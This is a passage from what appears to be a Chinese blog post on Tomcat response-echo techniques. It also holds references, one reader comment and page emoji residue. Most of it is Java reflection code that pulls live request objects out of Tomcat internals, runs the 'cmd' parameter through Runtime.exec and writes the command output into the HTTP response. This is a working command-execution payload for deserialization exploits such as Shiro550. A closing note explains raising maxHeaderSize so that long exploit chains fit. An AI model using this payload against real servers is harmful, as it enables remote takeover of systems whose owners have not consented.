                    // 获取RequestGroupInfo的processors
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


                    // 获取Response,并做输出处理
                    Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    reqField.setAccessible(true);
                    for (RequestInfo requestInfo : RequestInfolist) {//遍历
                        org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
                        org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
                        org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

                        // 从connectorRequest 中获取参数并执行
                        String cmd = connectorRequest.getParameter("cmd");
                        String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

                        // 方法一
//                connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
//                connectorResponse.flushBuffer();

                        // 方法二
                        java.io.Writer w = response.getWriter();//获取Writer
                        Field responseField = ResponseFacade.class.getDeclaredField("response");
                        responseField.setAccessible(true);
                        Field usingWriter = Response.class.getDeclaredField("usingWriter");
                        usingWriter.setAccessible(true);
                        usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
                        w.write(res);
                        w.flush();//刷新
                    }
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

不足

利用链过长,会导致http包超长,可先修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这样再次发包的时候就不会有长度限制。还有就是操作复杂可能有性能问题,整体来讲该方法不受各种配置的影响,通用型较强。

参考资料

Tomcat回显技术学习汇总

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

Shiro550 漏洞学习(三):Shiro自身利用链以及更通用的Tomcat回显方案

Tomcat通用回显学习笔记

Java内存马:一种Tomcat全版本获取StandardContext的新方法

评论

  1. WG
    6月前
    2023-4-11 16:07:35

    真是醍醐灌顶

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇